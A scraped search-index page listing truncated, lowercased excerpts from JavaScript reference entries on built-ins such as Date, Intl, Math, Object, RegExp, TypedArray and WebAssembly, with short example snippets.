this is different from using eval with code for an async function expression.
... invoking the asyncfunction constructor as a function (without using the new operator) has the same effect as invoking it as a constructor.
Atomics - JavaScript
returns true if an atomic operation on arrays of the given element size will be implemented using a hardware atomic operation (as opposed to a lock).
... examples using atomics const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); ta[0] = 5; atomics.add(ta, 0, 12); atomics.load(ta, 0); // 12 atomics.and(ta, 0, 1); atomics.load(ta, 0); // 1 atomics.compareexchange(ta, 0, 5, 12); atomics.load(ta, 0); // 12 atomics.exchange(ta, 0, 12); atomics.load(ta, 0); // 12 atomics.islockfree(1); // true atomics.islockfree(2); // true atomics.islockfr...
Date.parse() - JavaScript
therefore date objects produced using those strings may represent different moments in time depending on the version of ecmascript supported unless the system is set with a local time zone of utc.
... examples using date.parse() the following calls all return 1546300800000.
Date.prototype.toGMTString() - JavaScript
the togmtstring() method converts a date to a string, using internet greenwich mean time (gmt) conventions.
... examples simple example in this example, the togmtstring() method converts the date to gmt (utc) using the operating system's time-zone offset and returns a string value that is similar to the following form.
Date.prototype.toISOString() - JavaScript
engines which have not been updated to support this method can work around the absence of this method using the following shim: if (!date.prototype.toisostring) { (function() { function pad(number) { if (number < 10) { return '0' + number; } return number; } date.prototype.toisostring = function() { return this.getutcfullyear() + '-' + pad(this.getutcmonth() + 1) + '-' + pad(this.getutcdate()) + 't' + pad(this.getutchours()) + ...
... ':' + pad(this.getutcminutes()) + ':' + pad(this.getutcseconds()) + '.' + (this.getutcmilliseconds() / 1000).tofixed(3).slice(2, 5) + 'z'; }; })(); } examples using toisostring() let today = new date('05 october 2011 14:48 utc') console.log(today.toisostring()) // returns 2011-10-05t14:48:00.000z the above example uses parsing of a non–standard string value that may not be correctly parsed in non–mozilla browsers.
Date.prototype.toJSON() - JavaScript
calling tojson() returns a string (using toisostring()) representing the date object's value.
... examples using tojson() var jsondate = (new date()).tojson(); var backtodate = new date(jsondate); console.log(jsondate); //2015-10-26t07:46:36.611z specifications specification ecmascript (ecma-262)the definition of 'date.prototype.tojson' in that specification.
Date.prototype.toString() - JavaScript
however, it must have an internal [[timevalue]] property that can't be constructed using native javascript, so it's effectively limited to use with date instances.
... examples using tostring() the following assigns the tostring() value of a date object to myvar: var x = new date(); var myvar = x.tostring(); // assigns a string value to myvar in the same format as: // mon sep 08 1998 14:36:22 gmt-0700 (pdt) specifications specification ecmascript (ecma-262)the definition of 'date.prototype.tostring' in that specification.
Error.prototype.stack - JavaScript
browsers using the v8 javascript engine (such as chrome, opera 15+, android browser) and ie10+, on the other hand, uses a different format (see the archived msdn error.stack docs).
... examples using the stack property the following html markup demonstrates the use of stack property.
FinalizationRegistry.prototype.unregister() - JavaScript
examples using unregister this example shows registering a target object using that same object as the unregister token, then later unregistering it via unregister: class thingy { #cleanup = label => { // ^^^^^−−−−− held value console.error( `the \`release\` method was never called for the object with the label "${label}"` ); }; #registry = new fin...
... */ release() { this.#registry.unregister(this); // ^^^^−−−−− unregister token } } this example shows registering a target object using a different object as its unregister token: { // ^^^^−−−−− held value console.error( `the \`release\` method was never called for the \`thingy\` for the file "${file.name}"` ); }; #registry = new finalizationregistry(this.#cleanup); /** * constructs a `thingy` instance for the given file.
Generator.prototype.next() - JavaScript
examples using next() the following example shows a simple generator and the object that the next method returns: function* gen() { yield 1; yield 2; yield 3; } const g = gen(); // "generator { }" g.next(); // "object { value: 1, done: false }" g.next(); // "object { value: 2, done: false }" g.next(); // "object { value: 3, done: false }" g.next(); // "object { value: undefined, don...
...e: true }" using next() with a list function* getpage(pagesize = 1, list) { let output = []; let index = 0; while (index < list.length) { output = []; for (let i = index; i < index + pagesize; i++) { if (list[i]) { output.push(list[i]); } } yield output; index += pagesize; } } list = [1, 2, 3, 4, 5, 6, 7, 8] var page = getpage(3, list); // generator { } page.next(); // object {value: (3) [1, 2, 3], done: false} page.next(); // object {value: (3) [4, 5, 6], done: false} page.next(); // object {value: (2) [7, 8], done: false} page.next(); // object {value: undefined, done: true} sending values to the generator in...
GeneratorFunction - JavaScript
this is different from using eval with code for a generator function expression.
... invoking the generatorfunction constructor as a function (without using the new operator) has the same effect as invoking it as a constructor.
Intl.Collator.prototype.compare() - JavaScript
examples using compare for array sort use the compare getter function for sorting arrays.
... var a = ['offenbach', 'Österreich', 'odenwald']; var collator = new intl.collator('de-u-co-phonebk'); a.sort(collator.compare); console.log(a.join(', ')); // → "odenwald, Österreich, offenbach" using compare for array search use the compare getter function for finding matching strings in arrays: var a = ['congrès', 'congres', 'assemblée', 'poisson']; var collator = new intl.collator('fr', { usage: 'search', sensitivity: 'base' }); var s = 'congres'; var matches = a.filter(v => collator.compare(v, s) === 0); console.log(matches.join(', ')); // → "congrès, congres" specifications specification ecmascript internationalization api (e...
Intl.DateTimeFormat() constructor - JavaScript
examples using datetimeformat in basic use without specifying a locale, datetimeformat uses the default locale and default options.
... var date = new date(date.utc(2012, 11, 20, 3, 0, 0)); // tolocalestring without arguments depends on the implementation, // the default locale, and the default time zone console.log(new intl.datetimeformat().format(date)); // → "12/19/2012" if run with en-us locale (language) and time zone america/los_angeles (utc-0800) using timestyle and datestyle let o = new intl.datetimeformat("en" , { timestyle: "short" }); console.log(o.format(date.now())); // "13:31 am" let o = new intl.datetimeformat("en" , { datestyle: "short" }); console.log(o.format(date.now())); // "07/07/20" let o = new intl.datetimeformat("en" , { timestyle: "medium", datestyle: "short" }); console.log(o.format(date.now())); // "07/07/20, 13:31:55 am" specifications specification ecmascript...
Intl.DateTimeFormat.prototype.format() - JavaScript
examples using format use the format getter function for formatting a single date, here for serbia: var options = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }; var datetimeformat = new intl.datetimeformat('sr-rs', options); console.log(datetimeformat.format(new date())); // → "недеља, 7.
... април 2013." using format with map use the format getter function for formatting all dates in an array.
Intl.DateTimeFormat.prototype.formatToParts() - JavaScript
for example by using array.prototype.map(), arrow functions, a switch statement, template literals, and array.prototype.reduce().
... var datestring = formatter.formattoparts(date).map(({type, value}) => { switch (type) { case 'dayperiod': return `<b>${value}</b>`; default : return value; } }).reduce((string, part) => string + part); this will make the day period bold, when using the formattoparts() method.
Intl.DateTimeFormat.prototype.resolvedOptions() - JavaScript
"gregory" numberingsystem the values requested using the unicode extension keys "ca" and "nu" or filled in as default values.
... examples using the resolvedoptions method var germanfakeregion = new intl.datetimeformat('de-xx', { timezone: 'utc' }); var usedoptions = germanfakeregion.resolvedoptions(); usedoptions.locale; // "de" usedoptions.calendar; // "gregory" usedoptions.numberingsystem; // "latn" usedoptions.timezone; // "utc" usedoptions.month; // "numeric" specifications specification...
Intl.ListFormat - JavaScript
examples using format the following example shows how to create a list formatter using the english language.
...otorcycle', 'bus', 'car']; console.log(new intl.listformat('en-gb', { style: 'long', type: 'conjunction' }).format(list)); // > motorcycle, bus and car console.log(new intl.listformat('en-gb', { style: 'short', type: 'disjunction' }).format(list)); // > motorcycle, bus or car console.log(new intl.listformat('en-gb', { style: 'narrow', type: 'unit' }).format(list)); // > motorcycle bus car using formattoparts the following example shows how to create a list formatter returning formatted parts const list = ['motorcycle', 'bus', 'car']; console.log(new intl.listformat('en-gb', { style: 'long', type: 'conjunction' }).formattoparts(list)); // [ { "type": "element", "value": "motorcycle" }, // { "type": "literal", "value": ", " }, // { "type": "element", "value": "bus" }, // { "type"...
Intl.Locale.prototype.calendar - JavaScript
alqura islamic calendar, umm al-qura islamic-tbla islamic calendar, tabular (intercalary years [2,5,7,10,13,16,18,21,24,26,29] - astronomical epoch) islamic-civil islamic calendar, tabular (intercalary years [2,5,7,10,13,16,18,21,24,26,29] - civil epoch) islamic-rgsa islamic calendar, saudi arabia sighting iso8601 iso calendar (gregorian calendar using the iso 8601 calendar week rules) japanese japanese imperial calendar persian persian calendar roc republic of china calendar the islamicc calendar key has been deprecated.
...these keys add additional data about the locale, and are added to locale identifiers by using the -u extension.
Intl.NumberFormat.prototype.formatToParts() - JavaScript
for example by using array.prototype.map(), arrow functions, a switch statement, template literals, and array.prototype.reduce().
... var numberstring = formatter.formattoparts(number).map(({type, value}) => { switch (type) { case 'currency': return `<strong>${value}</strong>`; default : return value; } }).reduce((string, part) => string + part); this will make the currency bold, when using the formattoparts() method.
Intl.NumberFormat.prototype.resolvedOptions() - JavaScript
numberingsystem the value provided for this properties in the options argument, if present, or the value requested using the unicode extension key "nu" or filled in as a default.
... examples using the resolvedoptions method var de = new intl.numberformat('de-de'); var usedoptions = de.resolvedoptions(); usedoptions.locale; // "de-de" usedoptions.numberingsystem; // "latn" usedoptions.notation; // "standard" usedoptions.signdisplay; // "auto" usedoption.style; // "decimal" usedoptions.minimumintegerdigits; // 1 usedoptions.mini...
Intl.PluralRules - JavaScript
examples using locales this example shows some of the variations in localized plural rules.
... in order to get the format of the language used in the user interface of your application, make sure to specify that language (and possibly some fallback languages) using the locales argument: // arabic has different plural rules new intl.pluralrules('ar-eg').select(0); // → 'zero' new intl.pluralrules('ar-eg').select(1); // → 'one' new intl.pluralrules('ar-eg').select(2); // → 'two' new intl.pluralrules('ar-eg').select(6); // → 'few' new intl.pluralrules('ar-eg').select(18); // → 'many' specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.pluralrules' in that specification.
Intl.RelativeTimeFormat.prototype.resolvedOptions() - JavaScript
numberingsystem the value requested using the unicode extension key "nu" or filled in as a default.
... examples using the resolvedoptions method var de = new intl.relativetimeformat('de-de'); var usedoptions = de.resolvedoptions(); usedoptions.locale; // "de-de" usedoptions.style; // "long" usedoptions.numeric; // "always" usedoptions.numberingsystem; // "latn" specifications specification status comment ecmascript internationalization api (ecma-402)the definition of 'relativetimeformat.resolvedoptions()' in that specification.
Math.clz32() - JavaScript
consider the following 32-bit word: var a = 32776; // 00000000000000001000000000001000 (16 leading zeros) math.clz32(a); // 16 var b = ~32776; // 11111111111111110111111111110111 (32776 inversed, 0 leading zeros) math.clz32(b); // 0 (this is equal to how many leading one's there are in a) using this logic, a clon function can be created as follows: var clz = math.clz32; function clon(integer){ return clz(~integer); } further, this technique could be extended to create jumpless "count trailing zeros" and "count trailing ones" functions as seen below.
... var asuint = x >>> 0; if (asuint === 0) { return 32; } return 31 - (log(asuint) / ln2 | 0) |0; // the "| 0" acts like math.floor }; })(math.log, math.ln2); examples using math.clz32() math.clz32(1); // 31 math.clz32(1000); // 22 math.clz32(); // 32 var stuff = [nan, infinity, -infinity, 0, -0, false, null, undefined, 'foo', {}, []]; stuff.every(n => math.clz32(n) == 32); // true math.clz32(true); // 31 math.clz32(3.5); // 30 specifications specification ecmascript (ecma-262)the definition of 'm...
Math.cosh() - JavaScript
the math.cosh() function returns the hyperbolic cosine of a number, that can be expressed using the constant e: math.cosh(x)=ex+e-x2\mathtt{\operatorname{math.cosh(x)}} = \frac{e^x + e^{-x}}{2} the source for this interactive example is stored in a github repository.
... polyfill this can be emulated with the help of the math.exp() function: math.cosh = math.cosh || function(x) { return (math.exp(x) + math.exp(-x)) / 2; } or using only one call to the math.exp() function: math.cosh = math.cosh || function(x) { var y = math.exp(x); return (y + 1 / y) / 2; }; examples using math.cosh() math.cosh(0); // 1 math.cosh(1); // 1.5430806348152437 math.cosh(-1); // 1.5430806348152437 specifications specification ecmascript (ecma-262)the definition of 'math.cosh' in that specification.
Math.imul() - JavaScript
o = b & 0xffff; // the shift by 0 fixes the sign on the high part // the final |0 converts the unsigned value into a signed value return ((alo * blo) + (((ahi * blo + alo * bhi) << 16) >>> 0) | 0); }; however, the following function is more performant because it is likely that browsers in which this polyfill would be used do not optimize with an internal integer type in javascript, instead using floating points for all numbers.
...we can remove an integer coersion from the statement above because: // 0x1fffff7fc00001 + 0xffc00000 = 0x1fffffff800001 // 0x1fffffff800001 < number.max_safe_integer /*0x1fffffffffffff*/ if (opa & 0xffc00000 /*!== 0*/) result += (opa & 0xffc00000) * opb |0; return result |0; }; examples using math.imul() math.imul(2, 4); // 8 math.imul(-1, 8); // -8 math.imul(-2, -2); // 4 math.imul(0xffffffff, 5); // -5 math.imul(0xfffffffe, 5); // -10 specifications specification ecmascript (ecma-262)the definition of 'math.imul' in that specification.
Math.max() - JavaScript
examples using math.max() math.max(10, 20); // 20 math.max(-10, -20); // -10 math.max(-10, 20); // 20 getting the maximum element of an array array.reduce() can be used to find the maximum element in a numeric array, by comparing each value: var arr = [1,2,3]; var max = arr.reduce(function(a, b) { return math.max(a, b); }); the following function uses function.prototype.apply() to get the maximu...
...see using apply and built-in functions for more details.
Math.sinh() - JavaScript
the math.sinh() function returns the hyperbolic sine of a number, that can be expressed using the constant e: math.sinh(x)=ex-e-x2\mathtt{\operatorname{math.sinh(x)}} = \frac{e^x - e^{-x}}{2} the source for this interactive example is stored in a github repository.
... polyfill this can be emulated with the help of the math.exp() function: math.sinh = math.sinh || function(x) { return (math.exp(x) - math.exp(-x)) / 2; } or using only one call to the math.exp() function: math.sinh = math.sinh || function(x) { var y = math.exp(x); return (y - 1 / y) / 2; } examples using math.sinh() math.sinh(0); // 0 math.sinh(1); // 1.1752011936438014 specifications specification ecmascript (ecma-262)the definition of 'math.sinh' in that specification.
Number.MAX_SAFE_INTEGER - JavaScript
for larger integers, consider using bigint.
...using it without checking its existence, such as math.max(number.max_safe_integer, 2), will yield undesired results such as nan.
Number.MIN_SAFE_INTEGER - JavaScript
to represent integers smaller than this, consider using bigint.
... examples using min_safe_integer number.min_safe_integer // -9007199254740991 -(math.pow(2, 53) - 1) // -9007199254740991 specifications specification ecmascript (ecma-262)the definition of 'number.min_safe_integer' in that specification.
Object.prototype.__defineGetter__() - JavaScript
this feature is deprecated in favor of defining getters using the object initializer syntax or the object.defineproperty() api.
... examples non-standard and deprecated way var o = {}; o.__definegetter__('gimmefive', function() { return 5; }); console.log(o.gimmefive); // 5 standard-compliant ways // using the get operator var o = { get gimmefive() { return 5; } }; console.log(o.gimmefive); // 5 // using object.defineproperty var o = {}; object.defineproperty(o, 'gimmefive', { get: function() { return 5; } }); console.log(o.gimmefive); // 5 specifications specification ecmascript (ecma-262)the definition of 'object.prototype.__definegetter__()' in that specification.
Object.prototype.__defineSetter__() - JavaScript
this feature is deprecated in favor of defining setters using the object initializer syntax or the object.defineproperty() api.
... examples non-standard and deprecated way var o = {}; o.__definesetter__('value', function(val) { this.anothervalue = val; }); o.value = 5; console.log(o.value); // undefined console.log(o.anothervalue); // 5 standard-compliant ways // using the set operator var o = { set value(val) { this.anothervalue = val; } }; o.value = 5; console.log(o.value); // undefined console.log(o.anothervalue); // 5 // using object.defineproperty var o = {}; object.defineproperty(o, 'value', { set: function(val) { this.anothervalue = val; } }); o.value = 5; console.log(o.value); // undefined console.log(o.anothervalue); // 5 specifications ...
Object.entries() - JavaScript
nsole.log(object.entries('foo')); // [ ['0', 'f'], ['1', 'o'], ['2', 'o'] ] // returns an empty array for any primitive type, since primitives have no own properties console.log(object.entries(100)); // [ ] // iterate through key-value gracefully const obj = { a: 5, b: 7, c: 9 }; for (const [key, value] of object.entries(obj)) { console.log(`${key} ${value}`); // "a 5", "b 7", "c 9" } // or, using array extras object.entries(obj).foreach(([key, value]) => { console.log(`${key} ${value}`); // "a 5", "b 7", "c 9" }); converting an object to a map the new map() constructor accepts an iterable of entries.
... with object.entries, you can easily convert from object to map: const obj = { foo: 'bar', baz: 42 }; const map = new map(object.entries(obj)); console.log(map); // map { foo: "bar", baz: 42 } iterating through an object using array destructuring, you can iterate through objects easily.
Object.getOwnPropertyNames() - JavaScript
object.getownpropertynames('foo'); // typeerror: "foo" is not an object (es5 code) object.getownpropertynames('foo'); // ["0", "1", "2", "length"] (es2015 code) examples using object.getownpropertynames() var arr = ['a', 'b', 'c']; console.log(object.getownpropertynames(arr).sort()); // .sort() is an array method.
...// logs ["0", "1", "2"] // logging property names and values using array.foreach object.getownpropertynames(obj).foreach( function (val, idx, array) { console.log(val + ' -> ' + obj[val]); } ); // logs // 0 -> a // 1 -> b // 2 -> c // non-enumerable property var my_obj = object.create({}, { getfoo: { value: function() { return this.foo; }, enumerable: false } }); my_obj.foo = 1; console.log(object.getownpropertynames(my_obj).sort()); // logs ["foo", "getfoo"] if you want only the enumerable properties, see object.keys() or use a for...in loop (note that this will also return enumerable properti...
Object.prototype.hasOwnProperty() - JavaScript
o = new object(); o.propone = null; o.hasownproperty('propone'); // returns true o.proptwo = undefined; o.hasownproperty('proptwo'); // returns true examples using hasownproperty to test for a property's existence the following example determines whether the o object contains a property named prop: o = new object(); o.hasownproperty('prop'); // returns false o.prop = 'exists'; o.hasownproperty('prop'); // returns true direct vs.
...value: ' + buz[name]); } else { console.log(name); // tostring or something else } } using hasownproperty as a property name javascript does not protect the property name hasownproperty; thus, if the possibility exists that an object might have a property with this name, it is necessary to use an external hasownproperty to get correct results: var foo = { hasownproperty: function() { return false; }, bar: 'here be dragons' }; foo.hasownproperty('bar'); // always returns fa...
Object.isExtensible() - JavaScript
an object can be marked as non-extensible using object.preventextensions(), object.seal(), or object.freeze().
... examples using object.isextensible // new objects are extensible.
Object.prototype.toSource() - JavaScript
for example: var obj1 = {}; var obj2 = { a: obj1 }; obj1.b = obj2; console.log('cyclical: ' + (obj1.b.a == obj1)); var objsource = obj1.tosource(); // returns "({b:{a:{}}})" obj1 = eval(objsource); console.log('cyclical: ' + (obj1.b.a == obj1)); if a cyclical structure is employed and tosource() is needed, the object must provide an override to tosource(), either using a reference to a constructor or providing an anonymous function.
... examples using tosource() the following code defines the dog object type and creates thedog, an object of type dog: function dog(name, breed, color, sex) { this.name = name; this.breed = breed; this.color = color; this.sex = sex; } thedog = new dog('gabby', 'lab', 'chocolate', 'female'); calling the tosource() method of thedog displays the javascript source that defines the object: thedog.tosource(); // returns ({name:"gabby", breed:"lab", color:"chocolate", sex:"female"}) specifications not part of any standard.
Object - JavaScript
objects can be created using the object() constructor or the object initializer / literal syntax.
... examples using object given undefined and null types the following examples store an empty object object in o: let o = new object() let o = new object(undefined) let o = new object(null) using object to create boolean objects the following examples store boolean objects in o: // equivalent to o = new boolean(true) let o = new object(true) // equivalent to o = new boolean(false) let o = new object(bo...
Promise.race() - JavaScript
ronicity of promise.race this following example demonstrates the asynchronicity of promise.race: // we are passing as argument an array of promises that are already resolved, // to trigger promise.race as soon as possible var resolvedpromisesarray = [promise.resolve(33), promise.resolve(44)]; var p = promise.race(resolvedpromisesarray); // immediately logging the value of p console.log(p); // using settimeout we can execute code after the stack is empty settimeout(function(){ console.log('the stack is now empty'); console.log(p); }); // logs, in order: // promise { <state>: "pending" } // the stack is now empty // promise { <state>: "fulfilled", <value>: 33 } an empty iterable causes the returned promise to be forever pending: var foreverpendingpromise = promise.race([]); console...
... = promise.race(arr2); console.log(p); console.log(p2); settimeout(function(){ console.log('the stack is now empty'); console.log(p); console.log(p2); }); // logs, in order: // promise { <state>: "pending" } // promise { <state>: "pending" } // the stack is now empty // promise { <state>: "fulfilled", <value>: 100 } // promise { <state>: "fulfilled", <value>: "non-promise value" } using promise.race – examples with settimeout var p1 = new promise(function(resolve, reject) { settimeout(() => resolve('one'), 500); }); var p2 = new promise(function(resolve, reject) { settimeout(() => resolve('two'), 100); }); promise.race([p1, p2]) .then(function(value) { console.log(value); // "two" // both fulfill, but p2 is faster }); var p3 = new promise(function(resolve, rejec...
RegExp.prototype.dotAll - JavaScript
using both flags in conjunction allows the dot to match any unicode character, without exceptions.
... examples using dotall var str1 = 'bar\nexample foo example'; var regex1 = new regexp('bar.example','s'); console.log(regex1.dotall); // output: true console.log(str1.replace(regex1,'')); // output: foo example var str2 = 'bar\nexample foo example'; var regex2 = new regexp('bar.example'); console.log(regex2.dotall); // output: false console.log(str2.replace(regex2,'')); // output: bar // example foo example specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.dotall' in that specification.
RegExp.prototype.exec() - JavaScript
using this internally, exec() can be used to iterate over multiple matches in a string of text (with capture groups), as opposed to getting just the matching strings with string.prototype.match().
... using exec() with regexp literals you can also use exec() without creating a regexp object explicitly: let matches = /(hello \s+)/.exec('this is a hello world!'); console.log(matches[1]); this will log a message containing 'hello world!'.
RegExp.$1-$9 - JavaScript
examples using $n with string.replace the following script uses the replace() method of the string instance to match a name in the format first last and output it in the format last, first.
... var re = /(\w+)\s(\w+)/; var str = 'john smith'; str.replace(re, '$2, $1'); // "smith, john" regexp.$1; // "john" regexp.$2; // "smith" using $n with regexp.test the following script uses the test() method of the regexp instance to grab a number in a generic string.
RegExp.prototype.sticky - JavaScript
examples using a regular expression with the sticky flag var str = '#foo#'; var regex = /foo/y; regex.lastindex = 1; regex.test(str); // true regex.lastindex = 5; regex.test(str); // false (lastindex is taken into account with sticky flag) regex.lastindex; // 0 (reset after match failure) anchored sticky flag for several versions, firefox's spidermonkey engine had a bug with regard to the ^ assertion and t...
...he sticky flag which allowed expressions starting with the ^ assertion and using the sticky flag to match when they shouldn't.
RegExp.prototype.test() - JavaScript
examples using test() simple example that tests if "hello" is contained at the very beginning of a string, returning a boolean result.
... const str = 'hello world!'; const result = /^hello/.test(str); console.log(result); // true the following example logs a message which depends on the success of the test: function testinput(re, str) { let midstring; if (re.test(str)) { midstring = 'contains'; } else { midstring = 'does not contain'; } console.log(`${str} ${midstring} ${re.source}`); } using test() on a regex with the "global" flag when a regex has the global flag set, test() will advance the lastindex of the regex.
SharedArrayBuffer - JavaScript
description allocating and sharing memory to share memory using sharedarraybuffer objects from one agent in the cluster to another (an agent is either the web page’s main program or one of its web workers), postmessage and structured cloning is used.
... examples creating a new sharedarraybuffer var sab = new sharedarraybuffer(1024); slicing the sharedarraybuffer sab.slice(); // sharedarraybuffer { bytelength: 1024 } sab.slice(2); // sharedarraybuffer { bytelength: 1022 } sab.slice(-2); // sharedarraybuffer { bytelength: 2 } sab.slice(0, 1); // sharedarraybuffer { bytelength: 1 } using it in a webgl buffer const canvas = document.queryselector('canvas'); const gl = canvas.getcontext('webgl'); const buffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, buffer); gl.bufferdata(gl.array_buffer, sab, gl.static_draw); specifications specification ecmascript (ecma-262)the definition of 'sharedarraybuffer' in that specification.
String.prototype.indexOf() - JavaScript
therefore, when checking if a specific string exists within another string, the correct way to check would be: 'blue whale'.indexof('blue') !== -1 // true 'blue whale'.indexof('bloe') !== -1 // false ~('blue whale'.indexof('bloe')) // 0, which is falsy examples using indexof() the following example uses indexof() to locate values in the string "brave new world".
... const mystring = 'brie, pepper jack, cheddar' const mycapstring = 'brie, pepper jack, cheddar' console.log('mystring.indexof("cheddar") is ' + mystring.indexof('cheddar')) // logs 19 console.log('mycapstring.indexof("cheddar") is ' + mycapstring.indexof('cheddar')) // logs -1 using indexof() to count occurrences of a letter in a string the following example sets count to the number of occurrences of the letter e in the string str: const str = 'to be, or not to be, that is the question.' let count = 0 let position = str.indexof('e') while (position !== -1) { count++ position = str.indexof('e', position + 1) } console.log(count) // displays 4 specifications ...
String.prototype.replaceAll() - JavaScript
syntax const newstr = str.replaceall(regexp|substr, newsubstr|function) when using a `regexp` you must have to set the global ("g") flag; otherwise, it will throw a typeerror: "replaceall must be called with a global regexp".
... (the exact number of arguments depends on whether the first argument is a regexp object—and, if so, how many parenthesized submatches it specifies.) examples using replaceall 'aabbcc'.replaceall('b', '.'); // 'aa..cc' non-global regex throws when using a regular expression search value, it must be global.
String.prototype.slice() - JavaScript
examples using slice() to create a new string the following example uses slice() to create a new string.
...console.log(str5) // output: "" using slice() with negative indexes the following example uses slice() with negative indexes.
Symbol.iterator - JavaScript
writable no enumerable no configurable no examples user-defined iterables we can make our own iterables like this: var myiterable = {} myiterable[symbol.iterator] = function* () { yield 1; yield 2; yield 3; }; [...myiterable] // [1, 2, 3] or iterables can be defined directly inside a class or object using a computed property: class foo { *[symbol.iterator] () { yield 1; yield 2; yield 3; } } const someobj = { *[symbol.iterator] () { yield 'a'; yield 'b'; } } [...new foo] // [ 1, 2, 3 ] [...someobj] // [ 'a', 'b' ] non-well-formed iterables if an iterable's @@iterator method does not return an iterator object, then it is a non-well-formed iterable.
... using it as such is likely to result in runtime exceptions or buggy behavior: var nonwellformediterable = {} nonwellformediterable[symbol.iterator] = () => 1 [...nonwellformediterable] // typeerror: [] is not a function specifications specification ecmascript (ecma-262)the definition of 'symbol.iterator' in that specification.
Symbol.species - JavaScript
property attributes of symbol.species writable no enumerable no configurable no examples using species you might want to return array objects in your derived array class myarray.
... for example, when using methods such as map() that return the default constructor, you want these methods to return a parent array object, instead of the myarray object.
TypedArray.from() - JavaScript
when the source parameter is an iterator, the typedarray.from() first collects all the values from the iterator, then creates an instance of thisarg using the count, then sets the values on the instance.
...ngth); for(var i = 0; i < typed_array.length; i++) { typed_array[i] = copy_data[i]; } return typed_array; } })(); } examples from an iterable object (set) const s = new set([1, 2, 3]); uint8array.from(s); // uint8array [ 1, 2, 3 ] from a string int16array.from('123'); // int16array [ 1, 2, 3 ] use with arrow function and map using an arrow function as the map function to manipulate the elements float32array.from([1, 2, 3], x => x + x); // float32array [ 2, 4, 6 ] generate a sequence of numbers uint8array.from({length: 5}, (v, k) => k); // uint8array [ 0, 1, 2, 3, 4 ] specifications specification ecmascript (ecma-262)the definition of '%typedarray%.from' in that specification.
TypedArray.prototype.indexOf() - JavaScript
description indexof compares searchelement to elements of the typed array using strict equality (the same method used by the ===, or triple-equals, operator).
... examples using indexof var uint8 = new uint8array([2, 5, 9]); uint8.indexof(2); // 0 uint8.indexof(7); // -1 uint8.indexof(9, 2); // 2 uint8.indexof(2, -1); // -1 uint8.indexof(2, -3); // 0 specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.indexof' in that specification.
TypedArray.prototype.lastIndexOf() - JavaScript
description lastindexof compares searchelement to elements of the typed array using strict equality (the same method used by the ===, or triple-equals, operator).
... examples using lastindexof var uint8 = new uint8array([2, 5, 9, 2]); uint8.lastindexof(2); // 3 uint8.lastindexof(7); // -1 uint8.lastindexof(2, 3); // 3 uint8.lastindexof(2, 2); // 0 uint8.lastindexof(2, -2); // 0 uint8.lastindexof(2, -1); // 3 specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.lastindexof' in that specification.
WeakMap - JavaScript
getting values from the map would involve iterating through all keys to find a match, then using the index of this match to retrieve the corresponding value from the array of values.
... examples using weakmap const wm1 = new weakmap(), wm2 = new weakmap(), wm3 = new weakmap(); const o1 = {}, o2 = function() {}, o3 = window; wm1.set(o1, 37); wm1.set(o2, 'azerty'); wm2.set(o1, o2); // a value can be anything, including an object or a function wm2.set(o3, undefined); wm2.set(wm1, wm2); // keys and values can be any objects.
WeakRef - JavaScript
garbage collection work can be split up over time using incremental and concurrent techniques.
... examples using a weakref object this example starts a counter shown in a dom element, stopping when the element doesn't exist anymore: class counter { constructor(element) { // remember a weak reference to the dom element this.ref = new weakref(element); this.start(); } start() { if (this.timer) { return; } this.count = 0; const tick = () => { // get the elemen...
WeakSet - JavaScript
execrecursively(obj => console.log(obj), foo); here, a weakset is created on the first run, and passed along with every subsequent function call (using the internal _refs parameter).
... examples using the weakset object const ws = new weakset(); const foo = {}; const bar = {}; ws.add(foo); ws.add(bar); ws.has(foo); // true ws.has(bar); // true ws.delete(foo); // removes foo from the set ws.has(foo); // false, foo has been removed ws.has(bar); // true, bar is retained note that foo !== bar.
WebAssembly.Global() constructor - JavaScript
examples creating a new global instance the following example shows a new global instance being created using the webassembly.global() constructor.
... the value of the global is then changed, first to 42 using the global.value property, and then to 43 using the incglobal() function exported out of the global.wasm module (this adds 1 to whatever value is given to it and then returns the new value).
WebAssembly.Global - JavaScript
examples creating a new global instance the following example shows a new global instance being created using the webassembly.global() constructor.
... the value of the global is then changed, first to 42 using the global.value property, and then to 43 using the incglobal() function exported out of the global.wasm module (this adds 1 to whatever value is given to it and then returns the new value).
WebAssembly.Module.customSections() - JavaScript
the wast2wasm command available as part of the wabt tool has a --debug-names option — specify this during conversion to get a .wasm with a names custom section, for example: wast2wasm simple-name-section.was -o simple-name-section.wasm --debug-names examples using customsections the following example (see the custom-section.html source and live example) compiles the loaded simple-name-section.wasm byte code.
... we then do a check using webassembly.module.customsections, looking to see whether the module instance contains a "name" custom section by checking that its length is more than 0.
WebAssembly.Module.exports() - JavaScript
examples using exports the following example (see our index-compile.html demo on github, and view it live also) compiles the loaded simple.wasm byte code using the webassembly.compilestreaming() method and then sends it to a worker using postmessage().
...when the module is received, we create an instance from it using the webassembly.instantiate() method, invoke an exported function from inside it, then show how we can return information on the available exports on a module using webassembly.module.exports.
WebAssembly.Module - JavaScript
examples sending a compiled module to a worker the following example (see our index-compile.html demo on github, and view it live also) compiles the loaded simple.wasm byte code using the webassembly.compilestreaming() method and then sends the resulting module instance to a worker using postmessage().
...when the module is received, we create an instance from it using the webassembly.instantiate() method and invoke an exported function from inside it.
WebAssembly.Table.prototype.set() - JavaScript
examples using table.set the following example (see table2.html source code and live version) creates a new webassembly table instance with an initial size of 2 references.
... var tbl = new webassembly.table({initial:2, element:"anyfunc"}); console.log(tbl.length); console.log(tbl.get(0)); console.log(tbl.get(1)); we then create an import object that contains a reference to the table: var importobj = { js: { tbl:tbl } }; finally, we load and instantiate a wasm module (table2.wasm) using the webassembly.instantiatestreaming(), log the table length, and invoke the two referenced functions that are now stored in the table (the table2.wasm module (see text representation) adds two function references to the table, both of which print out a simple value): webassembly.instantiatestreaming(fetch('table2.wasm'), importobject) .then(function(obj) { console.log(tbl.length); console.l...
escape() - JavaScript
(hh are two hexadecimal digits, and the form \xhh\xhh is used for higher-plane unicode characters.) escaped characters in string literals can be expanded by replacing the \x with %, then using the decodeuricomponent() function.
... examples using escape escape('abc123'); // "abc123" escape('äöü'); // "%e4%f6%fc" escape('ć'); // "%u0107" // special characters escape('@*_+-./'); // "@*_+-./" specifications specification ecmascript (ecma-262)the definition of 'escape' in that specification.
